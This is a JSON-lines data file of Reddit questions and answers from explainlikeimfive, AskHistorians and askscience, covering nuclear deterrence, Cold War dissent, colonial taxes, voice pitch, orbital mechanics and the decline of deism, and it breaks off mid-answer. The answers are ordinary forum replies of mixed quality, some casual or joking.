{"q_id": "1x9dqz", "title": "what are the protocols put in place if a country sends out a nuke?", "selftext": "* I know there is the mutually assured destruction clause, but is there not something being a better alternative? maybe EMP the enemy country or something?\n\nIs it possible or do we have the technology to strike down nukes before they land?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1x9dqz/eli5_what_are_the_protocols_put_in_place_if_a/", "answers": {"a_id": ["cf9akaa", "cf9hcid"], "score": [3, 3], "text": ["Both the US/NATO, Russia, and China have extraordinarily complicated list of options in the event of a nuclear event. The current plans are of course among the most classified stuff in existence. \n\nThe chance of shooting down a single missile is very very low, many missiles is simply not happening. Shooting down a bomber carrying nukes gets more variable depending on the specifics. ", " > I know there is the mutually assured destruction clause, \n\nMutually-assured destruction (with the entirely apt acronym MAD) is not a clause in any contract, it's just a philosophy, the idea being that they won't bomb us because we'll bomb them back. \n\nIt was never the actual *intent* of the US to engage in any fair or limited exchange of nukes with the Soviets, despite what politicians might have said in public. The Pentagon always had essentially one nuclear war plan: on a confirmed launch of so much as a *single* Russian nuke, the US would retaliate with essentially everything it had. By the time of the Carter administration, the most recent data I have, the plan called for hitting the Rooskies with some TEN THOUSAND nukes over the course of a few hours. This was some time before anybody was seriously grasping the concept of \"nuclear winter.\" And bear in mind that this was a decision a President would have to make in maybe a minute, tops, after being rousted out of bed at 2 in the morning.\n\nWhat most Americans don't understand is that, from the creation of the first A-bomb until at least the 90s (and maybe since, I don't have the data), the *greatest* nuclear threat to the US was from *AMERICAN* nukes, not Russian nukes. It is nothing short of miraculous that we managed to get through the insanity of the Cold War without detonating at least one over US soil. We came very, VERY close on dozens of occasions. \n\nFurthermore, it was pretty much the US that started the whole nuclear arms race. Through a combination of lying and ineptness, the CIA convinced the government that the Soviets were WAYYY ahead of us in bombers in the 50s, and nuclear missiles in the 60s. Both claims were bullshit. In the early 60s, the CIA said the Russians had about 490 nuclear missiles pointed at us, which prompted the US government to go into overdrive on building nuclear missiles. The CIA's estimate turned out to be a just a weensy bit inaccurate. And by \"a weensy bit,\" I mean TWO ORDERS OF MAGNITUDE. The actually had four--count 'em--FOUR nuclear missiles aimed at the US. So when we started building nukes like there was no tomorrow, THEY started doing the same in self-defense...in response to which, WE started building even more. Lather, rinse, repeat. And there almost WAS no tomorrow.\n\nIf you feel you're sleeping too much and need something to keep you up and cowering in a corner all night, read 'Command and Control,' by Eric Schlosser. It's an in-depth and exceptionally well-documented look at US nuclear weapon safety from WWII to the late 80s. Combine that with Tim Weiner's 'A Legacy of Ashes' about the hijinks of the CIA, and you might never sleep again.\n\n > but is there not something being a better alternative? \n\nYes. To completely eliminate nuclear weapons from the planet.\n\n > maybe EMP the enemy country or something?\n > Is it possible \n\nWhile many nuclear weapons emit EMP, there is no weapon designed to do specifically that.\n\n > or do we have the technology to strike down nukes before they land?\n\nNo. This is pure fantasy, first championed by Ronald Reagan, and referred to by the aptly-derisive name \"Star Wars.\" It was a dangerously destabilizing policy, and it caused the Soviets, who HAD been growing more moderate, to make a U-turn and head back towards hard-line war footing for a time.\n\nBut because big, profitable defense projects are harder to kill than Rasputin, Star Wars lived on, and few people today are aware that $892 million per year of their tax money is still going to this boondoggle. There are two active anti-nuke bases, in Alaska and California, and there has been talk of building a third. Despite being officially deployed, this thing has never had even *ONE* successful test under realistic conditions. It works just fine if the enemy missiles are launched with plenty of warning and in good weather, if the missiles either don't use decoys or they put a homing beacon on the real warheads, if it's OK to count a near-miss as a hit, and if they only launch one or two. Otherwise, not so much.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3fojlq", "title": "How is the book A World Lit Only By Fire (by William Manchester) regarded by the historic community?", "selftext": "I had to read this book as a summer assignment for my AP European History class last year and was wondering what the experts here at /r/AskHistorians think of it.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3fojlq/how_is_the_book_a_world_lit_only_by_fire_by/", "answers": {"a_id": ["ctqzh51"], "score": [3], "text": ["It's important to recognize that A World Lit Only By Fire started out as a biography of Magellan. This would end up being the last third of the book, which is at least reasonably well-researched and is by far the best-written part of it (even if he strays into melodrama a lot regarding Magellan to try and keep things interesting).\n\nHowever, Manchester decided to expand the book to provide historical context to Magellan - an admirable goal if it had been done well, which it was not. Certain of his assertions are lascivious rumor presented as fact (his coverage of fifteenth century Rome and in particular of the Borgias), others are unfounded opinion presented as historical perspective (his treatment of early Reformation thinkers), and some of his assertions are just openly laughable (peasants going about naked all the time).\n\nFurthermore he spends a lot of time presenting a stereotyped and outdated view of the Medieval age as a whole, including the old chestnut that it was the \"Dark Ages\" and that everything was filth and superstition and ignorance and disease from the fifth to fifteenth centuries. As far as I know, that's a perception that historians were putting to bed in about the 1920s at the latest. He tars the age with a wide, wide brush, and the result is some very poor history indeed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ekhakz", "title": "Why did opposition movements begin to emerge across the Eastern European regimes during the 1970s and 1980s?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ekhakz/why_did_opposition_movements_begin_to_emerge/", "answers": {"a_id": ["fdbe1p6"], "score": [3], "text": ["Hi, thanks for your question!\n\nAlthough it is important to remember that the conditions and circumstances varied within each country of the Warsaw Pact, I think historians have pointed to a number of common factors that played a role in all Warsaw Pact countries that contributed to this phenomenon.\n\nIt must also be stressed that before the 1970's there had also been opposition groups within Eastern Europe, but these tended to be underground resistance groups, with little visibility and they were simply not effective.\n\nBy the 1970's, all Communist regimes in Eastern Europe began to experience increased economic stagnation. Although declining economic growth had already set in during the 1960's, most reform attempts had been abbandoned after 1968 (the Kosygin reforms for example), leading to growing shortages in consumer and luxury products, and increased corruption on the part of bureaucrats and Communist apparatchiks. Meanwhile military expenditures continued to expand in a bid to keep up with NATO. This economic stagnation became especially noticable to the general population by the late 1970's and early 1980's, and not a small role in that was played by the trade relations with the West - I will touch upon that later.\n\nA second major factor to contribute to discontent was that the 1956 Hungarian invasion and the 1968 invasion of Czechoslovakia shattered what little political legitimacy the communist regimes had. In the eyes of the general public, the communist regimes were semi-colonial: headed by exiles who had spent most of their lives in Russia, backed up by Soviet tanks, and carrying out economic and foreign policies in support of Soviet interests. Resistance in Hungary was met with brute Soviet force, and when even a reformist government in Czechoslovakia was swept away by Soviet tanks, this demonstrated the definitive moral bankruptcy of Communism in the eyes of Eastern European intellectuals.\n\nThese intellectuals belonged to a generation that reached maturity and studied during the De-Stalinization era, looked with a kind of utopian hope at the future for Communism, and were eventually left with disillusionment after 1968. To this generation belonged all the great future dissidents such as Zdenek Mlynar, but also future reformist leaders such as Mikhail Gorbachev - and Mlynar and Gorbachev had actually been dorm roommates in the 1950's.\n\nAnother major role was played by European detente and the eventual creation of the Helsinki Agreements in 1975. By 1968, Western Europe had become more open to Eastern proposals for a European security conference. The Eastern countries especially desired Western European recognition of their borders, and assurrances of non-interference. Western Europe used the opportunity to seek increased cultural and economic contact between East and West, with the conscious strategy to undermine the isolation that the Communist regimes imposed on their populations.\n\nBy 1970 this resulted in East- and West-Germany recognizing eachother, and in 1973 the so-called Conference on Security and Cooperation in Europe (CSCE) was launched, taking place in Helsinki.\n\nAfter some tough years of negotiating, both sides got what they wanted. Eastern Europe got their security assurrances, recognition, economic investment and promises of non-interference. Western Europe got the promise from Eastern Europe that they recognized human rights as a necessary condition for security in Europe, and thus uphold human rights as declared by the UN in their country. Initially, the Soviets had no intention of honoring that principle, just as the West had no intention of abbandoning its attempts to interfere in Eastern European affairs.\n\nNo one had any illusions in 1975 about this. But all parties agreed to hold follow up summits in 1977, 1980 and 1986 to review the implementation of the agreements. This was crucial for the dissident movement in Eastern Europe, who almost immediately began to form monitoring groups that smuggled information about violations to the West, so that Western diplomats could confront them at the Helsinki summits. The Moscow Helsinki Group for example, became a very important circle of dissidents monitoring Soviet compliance with the agreements and staying in contact with Western media, diplomats, NGO's and human rights watchdogs. Their international fame made them difficult to deal with for the KGB, which tried to put them in psychological hospitals, put them under house arrest in isolated cities, intimidate them, and eventually often ended up expelling them from Soviet territory.\n\nScholars call this the \"boomerang effect\", in which dissent - which finds no means to influence the regime, reaches out to governments abroad to exert pressure on the regime instead. As Soviet-American relations deteriorated by the late 1970's, the Carter and Reagan administrations threw their full support behind the dissident movements and the Helsinki agreements - even though they were skeptical of its use in 1975.\n\nThe 1975 agreements had also made the Eastern bloc economically dependent on the West. For many Warsaw Pact countries, increased trade with the West was a two-edged sword. It was a way to become more economically autonomous from the Soviets, and more prosperous, but also inevitably exposed their societies to more contacts with the free West and weakened their information monopoly. By the late 1970's, Western investments were crucial to the Soviet bloc to bring in much-needed consumer goods and advanced products, but also to export goods for much-needed foreign currency. The criticism of Western leaders and diplomats was not something they could easily ignore anymore.\n\nThe Soviet invasion of Afghanistan in late 1979 however led to international sanctions and backlash. So a dangerous cocktail of growing dissent, generation gap, economic stagnation, sanctions, and weakening political legitimacy was brewing behind the iron curtain.\n\nSo in short, the coming of age of a generation of disillusioned intellectuals, the declining political legitimacy of the communist regimes after 1968, the arrival of human rights on the international agenda in 1975 with the Helsinki Agreements, the declining economies and subsequent international isolation after the 1979 invasion of Afghanistan were some major factors that shaped the conditions in which visible opposition movements emerged across Eastern Europe and to which those regimes had no answer. When the masses threw their support behind them in 1988-1989, the Communists saw no other way out anymore than to negotiate with the opposition and allow free elections. Those that refused ended up dead.\n\nSee also:\n\nSarah B. Snyder, \"Human Rights Activism and the end of the Cold War\", 2011.\n\nVladislav Zubok, \"A Failed Empire: the Soviet Union in the Cold War from Stalin to Gorbachev\", 2007.\n\nMelvin Leffler  &  Odd Arne Westad, \"The Cambridge History of the Cold War Volume III\", 2006.\n\nLudmilla Alexeyeva, \"Soviet dissent: Contemporary movements for national, religious and human rights\", 1985.\n\nOliver Bange  &  Gottfried Niedhart, \"Helsinki 1975 and the transformation of Europe\", 2008.\n\nArchie Brown, \"The Rise and Fall of Communism\", 2009.\n\nJohn Lewis Gaddis, \"The Cold War: a New History\", 2005."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "sjpwz", "title": "Why do we hallucinate after prolonged sensory deprivation?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/sjpwz/why_do_we_hallucinate_after_prolonged_sensory/", "answers": {"a_id": ["c4ek7l2", "c4ekb9n"], "score": [3, 2], "text": ["A hallucination is nothing more than a perception in the absence of sensation. Your brain essentially begins \"filling in\" for the sensory information that you're no longer receiving. So, in essence, you're constructing images/sounds/whatever and perceiving them as if you're sensing them.\n\nEdit: If you can make the question a little more specific, i'd be happy to elaborate.", "It's called the Ganzfeld effect\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.boston.com/bostonglobe/ideas/graphics/011109_hacking_your_brain/"]]}
{"q_id": "8s1y8p", "title": "why so many banks have the name \"first national bank of ...\" in the title.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8s1y8p/eli5_why_so_many_banks_have_the_name_first/", "answers": {"a_id": ["e0vy2i0", "e0w4776"], "score": [10, 4], "text": ["A national bank has a national charter, as opposed to a state charter.  Hence there are lots of first national banks of ( name your state, city, county, etc.).", "I've never heard of this. where do you live?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1sz463", "title": "In Colonial America: How did the Townshend Act compare to the earlier Sugar and Stamp Acts?", "selftext": "The Townshend Acts came after the Stamp Act was repealed (due to huge colonial push-back), but also came after the Declaratory Act, which said British had right to legislate everything (no push-back I've heard about?).\n\nWere the colonists a whole lot cooler with it because it was an indirect tax, applied on import, rather than a direct tax applied at time of purchase?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1sz463/in_colonial_america_how_did_the_townshend_act/", "answers": {"a_id": ["ce2q0ek"], "score": [4], "text": ["The reaction was just as bad. The reasons however were more complex. For one the tax was only revenue for the English government because it taxed British goods. It did not fit with mercantilism and actually worked against it. This angered many colonists because they saw it as just money for Parliament, not for the improvement of the empire as a whole ([Letter number 2](_URL_0_)). The biggest objection though came from a small attachment to the act. It specified that some of the revenue from the tax would pay the colonial governors salary. This hurt the balance of power. Previously elected assemblies would control the pay of the governor (appointed by the king). If the elected official disagreed with the governors actions, they could cut his pay. However this act circumvented this check on the governors power and therefor took power from the elected assemblies. It was seen as taking some of the already small representation colonists had.\n    [_URL_1_](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://nationalhumanitiescenter.org/pds/makingrev/crisis/text4/dickinsonletters1767.pdf", "http://www.ushistory.org/us/9d.asp"]]}
{"q_id": "38xg9c", "title": "what is the evolutionary reason and purpose of males of species generally having lower pitched vocals than females, particularly humans?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/38xg9c/eli5_what_is_the_evolutionary_reason_and_purpose/", "answers": {"a_id": ["cryll0j", "cryqgn2", "cryswsh", "cryuxy0", "cryxsra", "cryzz6w", "crz6cn7"], "score": [68, 45, 16, 6, 4, 3, 3], "text": ["Low pitched voice is an indicator of high testosterone levels and sexual fitness. Generally, women tend to find men with lower pitched and deeper voices more attractive. This helps them to seek out men who are genetically fit and able to produce a healthy offspring.", "Not an answer to your question, but an interesting related point: \nIncreased testosterone causes the diameter of the larynx to grow, while thickening and lengthening the vocal folds themselves. In prepubescent children, boys and girls alike, they're roughly the same size, about as big in diameter as a dime (iirc). When boys hit puberty, it can get to quarter-sized, and the muscles that control the vocal folds have a hard time adjusting to the increase in size, causing the voice to frequently crack until the muscles get used to it.\nit grows in girls, too, but to a much lesser degree, maybe a penny to nickel-sized.", "There's a temptation to assume that everything has an evolutionary reason.  Sometimes there's just no reason at all -- perhaps it's a coincidence that a hormone that develops the vocal folds happens to be one that rises in men at puberty.\n\nOr it started out as a coincidence, and then became accentuated because mating partners picked up on it as a sign of sexual maturity.", "I'm not so sure it's the case that males have lower voices, so much that it's females who have higher voices.\n\n_URL_0_\n\n > Many prominent evolutionary theorists propose that neoteny has been a key feature in human evolution. Stephen Jay Gould believed that the \"evolutionary story\" of humans is one where we have been \"retaining to adulthood the originally juvenile features of our ancestors\". J. B. S. Haldane mirrors Gould's hypothesis by stating a \"major evolutionary trend in human beings\" is \"greater prolongation of childhood and retardation of maturity.\" Delbert D. Thiessen said that \"neoteny becomes more apparent as early primates evolved into later forms\" and that primates have been \"evolving toward flat face.\"\n\n > Doug Jones, a visiting scholar in anthropology at Cornell University, said that human evolution's trend toward neoteny may have been caused by sexual selection in human evolution for neotenous facial traits in women by men with the resulting neoteny in male faces being a \"by-product\" of sexual selection for neotenous female faces. Jones said that this type of sexual selection \"likely\" had a major role in human evolution once a larger proportion of women lived past the age of menopause. This increasing proportion of women who were too old to reproduce resulted in a greater variance in fecundity in the population of women, and it resulted in a greater sexual selection for indicators of youthful fecundity in women by men.\n\n", "Sound waves of a lower tone carry farther. Just like animal mating calls, the farther the range the more territory you can control and chance of reaching potential mates. \n\n\nSource: i have no idea what im talking about", "Men are larger framed, so their voice box is generally larger. The larger chords make a deeper sound. Think of a bass vs guitar. Guitars have thinner strings then bass guitars. They make higher frequency vibrations because there is less metal to slow the resonance down (lower the pitch). \n\nSo men's larger vocal chords vibrate at a lower frequency because they generally have more mass than a woman's. \n\nIn terms of purpose, the controlling factor is the physical size of the human. Men are larger because they were hunters, woman stayed at base camp and foraged. ", "Evolution is more of a \"whoever has the right trait survives\".  In the old days, when men encounter danger when hunting, those whose scream travels furthest will be able to get more reinforcement when \"Oh shit the buffaloes are coming somebody help me!\"  and thus survive the fight.  Loud voice and low pitched screams travels the furthest.\n\nMen with high pitched screams do not survive the onslaught of buffaloes and they are removed from the gene pool.\n\ntl;dr Scream like a bitch, get trampled by buffaloes"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Neoteny"], [], [], []]}
{"q_id": "5vxipn", "title": "how is iron crotch kung fu possible?", "selftext": "Just watched the video below and I am mind boggled. Firstly why any one would do this but more so how can they do it. Is it as simple as just training yourself to ignore the pain? Wouldn't this still be causing severe trauma?  \n\n_URL_0_\n\n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5vxipn/eli5_how_is_iron_crotch_kung_fu_possible/", "answers": {"a_id": ["de5mup4", "de5ppy4", "de5py8t", "de5uhfk"], "score": [5, 5, 3, 9], "text": ["I think \"why?\" should be the first question we ask them! ", "As for \"Why\" I can't tell you.  Maybe they got kicked in the nuts once and wanted it to never hurt again.  Or maybe they think it's cool to be that kind of tough. \n\nUnless it's faked and punches are pulled, it almost certainly causes trauma, but I suppose it cuts down on the condom budget. After awhile it'll just be entirely scrambled eggs and hamburger down there, with little more damage that can be done. \n\nThe real show is that they can will away the pain.  Your mind is what listens to nerve sensors and reports/remembers the pain. With enough training you can train your body to acknowledge the pain but not freak out about it and go fetal. \n\n", "You guys do know that testicles can fit inside a human body for better protection, right? They aren't actually getting hit in the nuts at all.", "Aside from the obvious pain tolerance and suchlike, there is also the pubic bone to consider. Most \"Iron\" training systems in martial arts are about conditioning the bones to withstand impacts that would, under normal circumstances, break them. \n\nThe way this is done is by causing microfractures in the bone (s) desired through various methods over a period of time. My old master used to caution us to practice at least one to two hours a day for at least a three month period before trying anything that could potentially break the bone we trained.\n\nAlong this process one typically develops a tolerance for the pain, and I'm honestly not quite sure how that happens, as I only learned how to whack nerves to create openings, cause damage or otherwise incapacitate."]}, "title_urls": [], "selftext_urls": ["http://digg.com/video/iron-crotch-kung-fu"], "answers_urls": [[], [], [], []]}
{"q_id": "6zftwp", "title": "when a car's battery runs out, i need to reset the clock and the radio station presets. every time. but the (equally digital) odometer display remembers exactly where it was. what's up with that?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6zftwp/eli5_when_a_cars_battery_runs_out_i_need_to_reset/", "answers": {"a_id": ["dmuvmj1", "dmuwiq2", "dmuxbbn"], "score": [13, 6, 4], "text": ["There are legal requirements that prohibit odometer resets during normal operation and service.  The odometer data is stored in eeprom memory every mile that doesn't get reset.", "TL;DR: your clock and radio station settings are stored in a different kind of memory component than your odometer information. The former are kept in a species of \"volatile memory,\" i.e., a memory component that requires constant power to maintain its data. The latter are stored in \"non-volatile memory,\" i.e., a memory component that will maintain its present state, even through power cycling, unless it is deliberately wiped or otherwise changed. ", "I don't understand why they don't save radio station presets in non-volatile memory. It's not like the technology is hard. My laptop keeps perfect time even when the battery is out because of a battery backup that almost never has to be replaced. Things like this really bug me."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6jwosq", "title": "how do social stigmas get started in the first place?", "selftext": "Why does the concept of \"stigma\" even exist to begin with? Many stigmas such as mental illness and financial problems are serious issues that warrant serious discussion. Instead it seems people and society at large prefer to shut down any kind of dialogue about them. So why does this happen if the stigmatized issues are serious?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6jwosq/eli5_how_do_social_stigmas_get_started_in_the/", "answers": {"a_id": ["djhrhcn"], "score": [2], "text": ["I'd recommend /r/asksocialscience for these types of questions. If nothing else, you can find good resources. \n\nSearching there I [found](_URL_0_) a [few](_URL_1_) papers [on the subject](_URL_2_) (this one seems to be paywalled, sadly). \n\nThe general idea seems to be that stigmas are socially created around concepts of social, sexual or physical fitness, to create, maintain and strengthen an in-group, out-group identity. \n\nFrom that first paper, specifically on mental illness:\n\n > When is attributing beliefs and desires problematic, inhibiting\nthe computation of intentions? In general, this situation occurs\nwhen an individual's behavior violates certain societal norms,\none's behavioral schemata, or, more generally, one's expectations.\nSome of the mentally ill, for example, behave in unpredictable\nways (Goffman, 1963; Hayward  &  Bright, 1997; Jones et al.,\n1984), and their likely future actions cannot be inferred from the\nusual cues that signal people's intentions. This fact might explain\nin part why the mentally ill are often seen as \"unpredictable,\ndangerous, and untrustworthy\" \n\nAnd on financial problems:\n\n > Another class of individuals who make poor social exchange partners and poor candidates for occupying friendship niches are those who have little to offer that has the potential to enhance one's well-being. Someone who currently lacks and is\nunlikely ever to have anything of value to trade is obviously a poor candidate for reciprocal altruism\n\n > Individuals with poor prospects might include those who give\ncues that they are financially poor (Phelan, Link, Moore,  &  Stueve,\n1997), infirm (Susman, 1994), or elderly (e.g., Hill, von Mering,  & \nGuillette, 1995); those with very few social connections (Lau  & \nGruen, 1992); and so forth. People who are obviously poor are\noften shunned in affluent societies, and homeless individuals\u2014\nwho clearly lack economic and social capital\u2014are among the most\nstigmatized (Phelan et al., 1997).\n\nAs for the social aspect of stigma:\n\n > First, to the extent that members of a particular group (or even\nan entire society) share certain goals and beliefs, they will tend to\nagree regarding the kinds of individuals who are to be avoided\nbecause they are poor exchange partners, friends, members of\ncooperative groups, or health risks. Of course, a great deal of\nsocialization is involved in the cultural transmission of stigmas,\nparticularly with regard to the acquisition of social group markings\n(Hirschfeld, 1996), but socialization is assisted by the existence of\nadaptations designed to help the individual avoid certain kinds of\ninteraction partners.\n\nSo to answer your question, people avoid speaking of those topics because those kind of people are generally shunned (explicitly or not). Even if logically we might understand those things are beyond the person's control, we might not want to be associated with those labels, either directly or indirectly, thus those topics become taboo. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sas.upenn.edu/psych/PLEEP/pdfs/2001%20Kurzban%20and%20Leary%20psych%20bull.pdf", "http://www.baylor.edu/content/services/document.php/25044", "http://www.annualreviews.org/doi/abs/10.1146/annurev.soc.27.1.363"]]}
{"q_id": "117gal", "title": "Could a military jet leave the earth?", "selftext": "I was wondering how high could a military jet fly in the atmosphere? Could it even fly into space? What were the consequences for the pilot besides starving if he couldn't get back to earth? Would he freeze to death?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/117gal/could_a_military_jet_leave_the_earth/", "answers": {"a_id": ["c6jyxp6", "c6k0go6", "c6k2qqi", "c6k7gp6"], "score": [25, 20, 5, 2], "text": ["Jet airplanes need air for their engines to function, so they cannot leave the Earth's atmosphere.\n\nHighest altitude a jet has reached can be found [here](_URL_0_): \n\n > The highest current world absolute general aviation altitude record -General Aviation World Records- achieved by a manned air-breathing jet propelled aircraft is 37,650 meters (123,523 feet) set by Alexandr Fedotov, in a Mikoyan Gurevitch E-266M (MiG-25M), on 31 August 1977.", "I'm going to consider the possibility of a suicide mission where no safety precautions are taken or anything like that.\n\nThe SR-71 Blackbird has a top speed of 3,220km/h (894m/s) and a ceiling of 25km. If this airplane was to be going at top speed at it's top height pointing straight up (not possible but simple to picture) it would go for a bit but not get as far as you're hoping. Without taking wind resistance into account it would start returning to earth after about 113 seconds and having reached a height of 44km. The commonly accepted border of space is 100km, low earth orbit is anywhere between that and 2,000km.\n\nSo no, it would not even make it half way under unrealistically ideal circumstances. ", "None of the jets we know of could. If they were to make something that was capable of this, it would need to have unconventional engines. It would be designed to leave the atmosphere and would ideally have addressed the problem of returning.   \n\n[Scram-Jet engines](_URL_1_) under research by NASA reach mach 7 (8 575 km/h), with a [ceiling of 75k km](_URL_0_) but have not been shown publicly to be usefully stable yet.\n\n*edit their!=they", "Nobody's really addressing the fact that orbital velocity is pretty high- altitude is not nearly enough.\n\n_URL_0_\n\n17,650mph at the surface of the Earth; 15,000-17,000 for low Earth orbit, depending on altitude (the higher you go, the lower orbital velocity is, but you have to expend more energy to reach that altitude).\n\nThat's on the order of 7-8 times faster than the fastest air breathing military jets-2200 mph for the SR-71. And, of course, since kinetic energy increases as the SQUARE of the velocity, you're looking at 49-64 times as much energy required to reach orbital velocity than an SR-71 requires to reach max velocity.\n\nEven if an SR-71 were to lift a rocket booster to max altitude, there's pretty much no way it could lift a large enough one to push itself the rest of the way into orbit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Flight_altitude_record"], [], ["http://orbitalvector.com/Orbital%20Travel/Scramjets/Scramjets.htm", "http://www.nasa.gov/missions/research/f_scramjets.html"], ["http://en.wikipedia.org/wiki/Orbital_speed"]]}
{"q_id": "3z7ben", "title": "if an astronaut during a spacewalk threw a baseball at earth, would it eventually fall to earth or would it be trapped into earths orbit?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3z7ben/eli5_if_an_astronaut_during_a_spacewalk_threw_a/", "answers": {"a_id": ["cyjs7hi", "cyjtdv1", "cyjtpqe"], "score": [2, 4, 8], "text": ["It would fall to Earth eventually, but it would burn up in the atmosphere. For example the space station is orbiting at 7.66 kilometres per second (27,600 km/h; 17,100 mph), which means the baseball is also flying at that speed. So once it reaches the air, it will start to burn simply because it is moving so fast.", "Changes in orbits are often quantified as an amount of \"delta-v\" (change in velocity).\n\nDepending on how high your orbit you'd need 130+ mph of delta-v, so effectively you'd need to pitch the baseball at 130mph in the opposite direction of travel for it to de-orbit, probably quite difficult in a space suit.\n\nAny less than this then all you'd accomplish is launching the baseball into an elliptical orbit.\n\nsource: kerbal space program.", "To be clear.   An astronaut doing a spacewalk from the ISS wouldn't even have to throw the ball.    He could just let the ball go and the ball would fall into the atmospphere.   Because the ISS is not outside the atmosphere.  The ISS is losing altitude every second. Every couple of years, the ISS has to get boosted and regain its orbit elevation a couple of km's.\n\n\nIf an astronaut were to be in orbit outside the atmosphere and threw a ball, it would stay in orbit.     Because a human cannot give the ball enough velocity to drop from orbit.     Orbit speed is almost 17000mph.     A human can only throw a ball 100mph. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "16face", "title": "Do we know the, say, top 25 molecules in the human body, by moles?", "selftext": "Good old h2o would probably be number one, but what would the next few be?  ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/16face/do_we_know_the_say_top_25_molecules_in_the_human/", "answers": {"a_id": ["c7vlsj5"], "score": [6], "text": ["You probably have to relax a bit the definition of molecule (and of moles), since you're dealing with macromolecules. Otherwise you have to rule out collagen, bone mineral, glycogen, etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1lppfa", "title": "What happened to deism in the United States?", "selftext": "I was reading about Thomas Paine and \"The Age of Reason\" and I saw that the book was a best seller in America and caused a short lived revival of deism.  Between that and several of the founding fathers being deist, or at least supporting the ideas to some extent, what caused the public to abandon the idea?  Also, would there have been people who identified as deists in the 1830s or 40s?  If so how would they be regarded?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1lppfa/what_happened_to_deism_in_the_united_states/", "answers": {"a_id": ["cc1kxai", "cc1kywo", "cc1n4ll", "cc1ndc7", "cc1y0w6"], "score": [33, 185, 13, 7, 7], "text": ["Deism appears to still be ranked in the top 25 U.S. religions, so it is still present. I can't find sources on your other questions, but I hope someone can. Wikipedia makes several claims that are sourced to broken links.\n\n_URL_0_\n\n_URL_1_", "I can give an answer to part of your question.  Yes - there were individuals who were deists in the 1830s, possibly even many, even though it had declined as a major influence.  One of the main movers of the 2nd great awakening, William Miller, was a deist for part of his life, and in his biography, writing about how he became a deist, wrote (quoting from Wikipedia) \n\n > \"I became acquainted with the principal men in that village [Poultney, Vermont], who were professedly Deists;\"\n\nWriting of how they were viewed (by him) he continues:\n\n > but they were good citizens, and of a moral and serious deportment. \n\nAs to what happened, the Wikipedia article on deism basically states that the movement lacked any serious defenders, and my impression is that in face of the various great awakenings of the time (1st and 2nd), deism, which lacked the strong social movement feel of many of the other religious/philosophical stances gaining strength at the time, (indeed, deism was always more of a personal philosophy) had trouble remaining meaningful and cohesive - though it does still exist today.\n\nOther causes for the decline of deism would be the increasing popularity of Darwinism, presenting arguments against the necessity of a creator, and the resulting appeal of a more pure atheism, and the frequently described excesses of the French Revolution, described as the disturbing results of worshipping reason/rationalism.\n\n_URL_2_\n_URL_0_\n_URL_1_", "In [Revolutionary Deists](_URL_0_) by Kerry Walters, he goes over the different specific philosophies of prominent Americans like Paine, Franklin, Jefferson, Allen, etc. At the end, he concludes with what u/Muskwatch was saying: organization was poor, although there were deist newspapers and journals published, they didn't last long, and then of course the fervor of the Second Great Awakening. \n\nBut I recommend reading it, it's very in depth and still readable.", "The roots of Deism are in England, the only place it might be considered a movement in any real historical sense. In the American colonies the embrace of deism's rejection of orthodox theology served as one means to resist the spread of Anglican control in the colonies. The deistic spirit did have a foothold in New England and contributed to the rise of the Unitarian movement. In that sense we might argue that the very American idea: \"I'm not religious, I'm spiritual\" is a product of the influence of deism in American culture, and indicates that while the name \"Deism\" may have largely been abandoned, the ideas have not.\n\nSources: honestly, any good history of religion in the United States or even a decent encyclopedia of religion will suffice for an overview. The Encyclopedias published by Gale are accessible in many Public Libraries. Colleen McDannell's histories of American Religion are quite good if you're looking for some more in depth historical scholarship.", "Historical religious persuasions are primarily gauged by visible activities. It is impossible to know how many Americans privately embraced deism at any point. We can only look at what they did in public or, to a lesser extent, what they wrote down. It is also important to note that religious radicals tend to create less uniform groups than mainstream believers. Deism lies on a continuum of belief and disbelief.\n\nDeism is not a religion for the average person. It provides no assurances that someone is looking out for you, or that you'll have an afterlife. It isn't emotionally satisfying for most. Adherents in late 18th-century America were either deeply intellectual or deeply anti-clerical. As to the second group, deism faded in part because religion grew more moderate. Skepticism and religious fervor tend to spike together throughout American history. Deism ran out of steam as a popular movement when mainstream Christianity addressed most of its criticisms. In particular, theologians of the late 18th century drove Christianity pretty close to deism when they embraced science as proof of God's design.\n\nMeanwhile, aristocratic predjudices influenced the intellectual deists. After all, these were men with the time and resources to become well-read on this and other topics. These social elites were fairly pessimistic about the common man. If 